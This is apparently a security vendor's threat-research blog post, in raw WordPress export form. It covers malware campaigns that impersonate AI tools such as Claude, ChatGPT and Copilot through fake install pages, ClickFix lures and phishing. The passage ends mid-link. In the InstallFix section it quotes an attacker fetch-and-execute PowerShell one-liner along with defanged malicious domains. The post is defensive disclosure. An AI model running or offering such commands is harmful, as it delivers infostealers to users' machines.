{"id":23673,"date":"2026-10-14T09:12:30","date_gmt":"2026-10-14T09:12:30","guid":{"rendered":"https:\/\/any.run\/cybersecurity-blog\/?p=23673"},"modified":"2026-10-14T09:25:08","modified_gmt":"2026-10-14T09:25:08","slug":"fake-ai-tools-us-companies","status":"publish","type":"post","link":"https:\/\/any.run\/cybersecurity-blog\/fake-ai-tools-us-companies\/","title":{"rendered":"Fake AI Tools Put US Companies at Risk: Inside Counterfeit Claude, ChatGPT, and Copilot"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/any.run\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktolanding\" target=\"_blank\" rel=\"noreferrer noopener\">ANY.RUN<\/a> researchers tracked <strong>fake AI tool campaigns<\/strong> that impersonate Claude, ChatGPT, GitHub Copilot, Gemini, and other AI brands to plant infostealers, take over browser sessions, and phish business accounts. Between April 15 and October 5, 2026, <strong>1,258 public sandbox analyses<\/strong> were tied to these campaigns, and the USA was the second-largest source of submissions after India.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The attacks share one trait: the employee performs the decisive step. They paste an \u201cinstall command,\u201d run a convincing installer, or sign in to a fake window. That can put source code, cloud and AI API keys, active business sessions, ad accounts, and billing access at risk, turning a single user action into potential data exposure, account compromise, financial loss, or disruption to development and marketing operations. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Below, we break down five attack patterns, the numbers behind them, and the signals SOC teams can hunt for. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Key Takeaways<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Fake AI is a sustained campaign theme, not a one-off.<\/strong> We linked 1,258 public sandbox analyses to fake-AI campaigns between April 15 and October 5, 2026, with more than 100 analyses every month from April to September, keeping employee and SOC exposure consistently high. <\/li>\n\n\n\n<li><strong>Claude and ChatGPT are the brands attackers wear most.<\/strong> Together they account for 81% of those analyses: Claude 601 (48%) and OpenAI ChatGPT and Codex 418 (33%), making widely adopted AI brands a recurring path into corporate environments. <\/li>\n\n\n\n<li><strong>American organizations are squarely in scope.<\/strong> The US ranks first for both the fake \u201cDownload Claude\u201d campaign and the ChatGPT-themed chains. Across all fake AI activity analyzed, US submitters account for 69 of 422 country records in <a href=\"https:\/\/any.run\/threat-intelligence-lookup\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktotilookuplanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat Intelligence Lookup<\/a>, or 16%, ranking second overall after India.<\/li>\n\n\n\n<li><strong>The victim runs the attack.<\/strong> At least 45% of the analyses belong to campaigns that tell the user to paste a command into the Run dialog, PowerShell, or Terminal, turning routine user actions into an execution path that can bypass traditional controls. <\/li>\n\n\n\n<li><strong>Trusted platforms carry the lures.<\/strong> We saw lures on GitHub, GitLab Pages, Cloudflare Pages, Google Sites, claude.ai, and chatgpt.com, promoted through Google Ads and search results, making simple domain blocking less effective. <\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Fake AI Threat Overview<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Fake AI campaigns are effective because they blend into normal employee behavior. Searching for a new AI app, following setup instructions, opening a shared chat, or connecting a business account can all look routine, which gives attackers room to move past traditional email-focused defenses. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">What makes these campaigns especially relevant for organizations is the type of access they can reach. Developers may expose source code, cloud credentials, or API keys, while marketing and business teams can hold access to advertising, billing, and other high-value accounts. <\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-413\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"2\"\n           data-rows=\"11\"\n           data-wpID=\"413\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Attribute\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Details\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Observed period\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        April 15\u2013October 5, 2026\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Activity analyzed\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        1,258 public\u00a0sandbox\u00a0analyses linked to fake AI-themed activity\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Most impersonated brands\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Claude, ChatGPT, Codex, GitHub Copilot, Gemini, Ollama, OpenClaw, Perplexity, and Manus\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Primary delivery channels\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Search results, Google Ads, shared AI chats and artifacts, fake download pages, and email invitations\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Main user actions\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Pasting commands into PowerShell or Terminal, running installers, or entering credentials into fake sign-in windows\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Observed outcomes\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Infostealer and RAT delivery, browser-session theft, credential phishing, and business-account compromise\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Common techniques\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        ClickFix-style execution, malicious PowerShell and curl commands,\u00a0mshta\u00a0abuse,\u00a0trojanized\u00a0    installers, and browser-in-the-browser phishing\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Most exposed roles\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Developers, marketing teams, and employees independently searching for or installing AI software\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A10\"\n                    data-col-index=\"0\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        US activity\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B10\"\n                    data-col-index=\"1\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The US accounted for 16% of recorded submitter-country data, ranking second overall and first in several major campaign groups\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A11\"\n                    data-col-index=\"0\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Key detection angle\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B11\"\n                    data-col-index=\"1\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Commands, backend paths, scheduled tasks, and other behavioral patterns remained more stable than the\u00a0frequently\u00a0rotating lure domains\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-413'>\ntable#wpdtSimpleTable-413{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-413 td, table.wpdtSimpleTable413 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<h2 class=\"wp-block-heading\">Business Risks for American Organizations<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">These campaigns can expose far more than a single employee account. If successful, they can lead to unauthorized access to business systems, loss of sensitive data and credentials, disruption to development or marketing operations, and direct financial exposure through compromised cloud, advertising, or billing accounts. <\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Session theft without a password:<\/strong> The trojanized installer exports browser cookies through a headless browser, which can give attackers access to email, CRM, and cloud consoles without a new MFA prompt. <\/li>\n\n\n\n<li><strong>Developer workstation compromise:<\/strong> InstallFix runs the attacker\u2019s script in a developer\u2019s shell, where source code, SSH keys, CI\/CD tokens, and cloud and AI API keys may already be accessible. <\/li>\n\n\n\n<li><strong>Ad and business account takeover:<\/strong> Fake AI advertising invitations collect Google account credentials from employees who manage ad budgets and billing, putting high-value business accounts at risk. <\/li>\n\n\n\n<li><strong>Reduced visibility for defenders:<\/strong> These chains often begin in search results, use built-in binaries, and let the server choose the next stage, leaving mail gateways and file scanners with less to inspect. <\/li>\n\n\n\n<li><strong>Shadow AI exposure:<\/strong> Employees searching for and installing AI software outside the approved catalog make it harder for IT and security teams to distinguish legitimate software from convincing counterfeits. <\/li>\n<\/ul>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\n<span class=\"highlight\">Reduce the Impact of Fake AI Attacks.<\/span>\n<br>\nDetect malicious behavior earlier and contain threats faster. \n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/any.run\/enterprise\/?utm_source=anyrunblog&#038;utm_medium=article&#038;utm_campaign=fake-ai-tools-us-companies&#038;utm_term=141026&#038;utm_content=linktoenterprise#contact-sales\" rel=\"noopener\" target=\"_blank\">\nStrengthen Threat Response  <\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<h2 class=\"wp-block-heading\">Fake AI Attacks by the Numbers<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Between April 15 and October 5, 2026, we linked 1,258 public sandbox analyses to fake AI campaigns.  <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"538\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/1_Fake-AI-sessions-per-month-1024x538.png\" alt=\"Activity peaked in May and has not dropped below 100 analyses a month since \" class=\"wp-image-23674\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/1_Fake-AI-sessions-per-month-1024x538.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/1_Fake-AI-sessions-per-month-300x158.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/1_Fake-AI-sessions-per-month-768x403.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/1_Fake-AI-sessions-per-month-1536x806.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/1_Fake-AI-sessions-per-month-2048x1075.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/1_Fake-AI-sessions-per-month-370x194.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/1_Fake-AI-sessions-per-month-270x142.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/1_Fake-AI-sessions-per-month-740x389.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Activity peaked in May and has not dropped below 100 analyses a month since<\/em> <\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Activity peaked in May 2026 with 358 analyses. The fake CLI installers and the ChatGPT-themed chains drove that peak, and the volume has stayed between 108 and 151 analyses a month since July. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"538\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/2_Claude-and-ChatGPT-account-1024x538.png\" alt=\"Claude and ChatGPT account\" class=\"wp-image-23675\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/2_Claude-and-ChatGPT-account-1024x538.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/2_Claude-and-ChatGPT-account-300x158.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/2_Claude-and-ChatGPT-account-768x403.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/2_Claude-and-ChatGPT-account-1536x806.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/2_Claude-and-ChatGPT-account-2048x1075.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/2_Claude-and-ChatGPT-account-370x194.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/2_Claude-and-ChatGPT-account-270x142.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/2_Claude-and-ChatGPT-account-740x389.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Two brands account for four in five fake AI sessions<\/em> <\/figcaption><\/figure>\n<\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"538\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/3_Paste-a-command-1-1024x538.png\" alt=\"Nearly half of the sessions come from lures that ask the victim to paste a command \" class=\"wp-image-23679\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/3_Paste-a-command-1-1024x538.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/3_Paste-a-command-1-300x158.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/3_Paste-a-command-1-768x403.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/3_Paste-a-command-1-1536x806.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/3_Paste-a-command-1-2048x1075.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/3_Paste-a-command-1-370x194.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/3_Paste-a-command-1-270x142.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/3_Paste-a-command-1-740x389.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Nearly half of the sessions come from lures that ask the victim to paste a command<\/em> <\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Campaigns that make the victim paste a command account for 561 analyses (45%): fake CLI install pages (InstallFix, 341) and fake download pages with ClickFix (220). Chains that start on a shared AI chat or artifact add 320 more, and many of them also end in a pasted command, so 45% is a lower bound. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"538\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/4_The-US-is-the-second-1024x538.png\" alt=\"The US is the second-largest source of submissions overall and ranks first in two major campaign groups\" class=\"wp-image-23677\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/4_The-US-is-the-second-1024x538.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/4_The-US-is-the-second-300x158.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/4_The-US-is-the-second-768x403.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/4_The-US-is-the-second-1536x806.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/4_The-US-is-the-second-2048x1075.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/4_The-US-is-the-second-370x194.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/4_The-US-is-the-second-270x142.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/4_The-US-is-the-second-740x389.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The US is the second-largest source of submissions overall and ranks first in two major campaign groups<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The country split comes from research carried out with <a href=\"https:\/\/any.run\/threat-intelligence-lookup\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktotilookuplanding\" target=\"_blank\" rel=\"noreferrer noopener\">Threat Intelligence Lookup<\/a>, which records the submitter&#8217;s country for each public analysis. Across seven queries on the campaigns&#8217; key domains, US submitters account for 69 of 422 country records (16%), behind India with 86 (20%). In the fake &#8220;Download Claude&#8221; campaign, the US ranks first with 21 of 92 records, and in the ChatGPT-themed chains it ranks first with 18 of 86.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">How Fake AI Attacks Work<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Every chain we analyzed has the same skeleton: a lure in search results or email, a copy of a familiar page on trusted hosting, and one step that the employee performs. What changes from campaign to campaign is that step and what it unlocks. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/5_Fake-AI-chain-1024x1024.png\" alt=\"Fake AI attack chain \" class=\"wp-image-23678\" style=\"width:618px;height:auto\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/5_Fake-AI-chain-1024x1024.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/5_Fake-AI-chain-300x300.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/5_Fake-AI-chain-150x150.png 150w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/5_Fake-AI-chain-768x768.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/5_Fake-AI-chain-1536x1536.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/5_Fake-AI-chain-2048x2048.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/5_Fake-AI-chain-70x70.png 70w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/5_Fake-AI-chain-370x370.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/5_Fake-AI-chain-270x270.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/5_Fake-AI-chain-740x740.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em> In every fake AI chain, the employee performs the key step<\/em> <\/figcaption><\/figure>\n<\/div>\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Lure:<\/strong> A sponsored search result, an SEO-poisoned result, a shared AI conversation, or an invitation email. <\/li>\n\n\n\n<li><strong>Fake page:<\/strong> A copy of the vendor\u2019s download page or documentation, hosted on a platform that security filters are more likely to trust, such as GitLab Pages, Cloudflare Pages, Google Sites, GitHub, or the AI platform itself. <\/li>\n\n\n\n<li><strong>Employee action:<\/strong> The user pastes a command into the Run dialog, PowerShell, or Terminal; runs an installer; or signs in through a pop-up that imitates Google. <\/li>\n\n\n\n<li><strong>Loader:<\/strong> A built-in Windows binary, such as mshta.exe or powershell.exe, or a small stager contacts the attacker\u2019s server to retrieve the next stage. <\/li>\n\n\n\n<li><strong>Payload:<\/strong> An infostealer, session-cookie stealer, or remote access trojan. In the sign-in branch, credentials are sent directly to the operator. <\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The sections below follow the five patterns that carried most of the activity. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">InstallFix: When the Install Command Is the Malware<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">AI coding tools install with one line of PowerShell or shell, and that habit is the lure. The fake pages copy the install documentation of Claude Code, GitHub Copilot CLI, OpenAI Codex, Ollama, and OpenClaw, and swap the vendor&#8217;s domain in the one-liner for the attacker&#8217;s. A developer who copies the command runs the attacker&#8217;s script with their own permissions. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/bbfbbb49-9676-47a6-8f62-234c70fa46c3?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the fake Copilot CLI page<\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Fake-AI-sandbox-analysis-1024x578.jpeg\" alt=\"The page looks like the Copilot CLI landing page, but the one-liner pulls a script from the attacker's domain \" class=\"wp-image-23681\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Fake-AI-sandbox-analysis-1024x578.jpeg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Fake-AI-sandbox-analysis-300x169.jpeg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Fake-AI-sandbox-analysis-768x434.jpeg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Fake-AI-sandbox-analysis-370x209.jpeg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Fake-AI-sandbox-analysis-270x152.jpeg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Fake-AI-sandbox-analysis-740x418.jpeg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Fake-AI-sandbox-analysis.jpeg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The page looks like the Copilot CLI landing page, but the one-liner pulls a script from the attacker&#8217;s domain<\/em> <\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Victims reach these pages from ordinary searches. In one session, a Bing search for &#8220;claude code docs&#8221; listed claudecode[.]us[.]com as a &#8220;Claude Code Installation Guide&#8221;, a few lines from the official documentation. Other sessions arrived from Google organic results and from typosquatted redirectors such as claubecode[.]co[.]com and openclow[.]co[.]com. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/77b8ce7b-3180-4083-b495-c546f6e22eb7?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View sandbox session with the search result<\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-lookalike-1024x578.jpeg\" alt=\"A .us.com lookalike ranks next to the official Claude Code documentation\" class=\"wp-image-23682\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-lookalike-1024x578.jpeg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-lookalike-300x169.jpeg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-lookalike-768x434.jpeg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-lookalike-370x209.jpeg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-lookalike-270x152.jpeg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-lookalike-740x418.jpeg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/10\/Claude-lookalike.jpeg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>A .us.com lookalike ranks next to the official Claude Code documentation<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The first-stage script calls a second one-liner, irm refract3[.]com | iex, which pulls further stages from kafeprog7[.]com or help.xenngypt[.]com and then a stealer from a GitHub release. The fake Ollama variant goes one step further. It downloads and installs the real OllamaSetup.exe, so the developer gets a working tool while the stealer runs alongside it. The last full chain we observed ran on September 16, 2026. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/e8b1e45e-2d50-477e-825c-1e097fa53245?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=fake-ai-tools-us-companies&amp;utm_term=141026&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">View 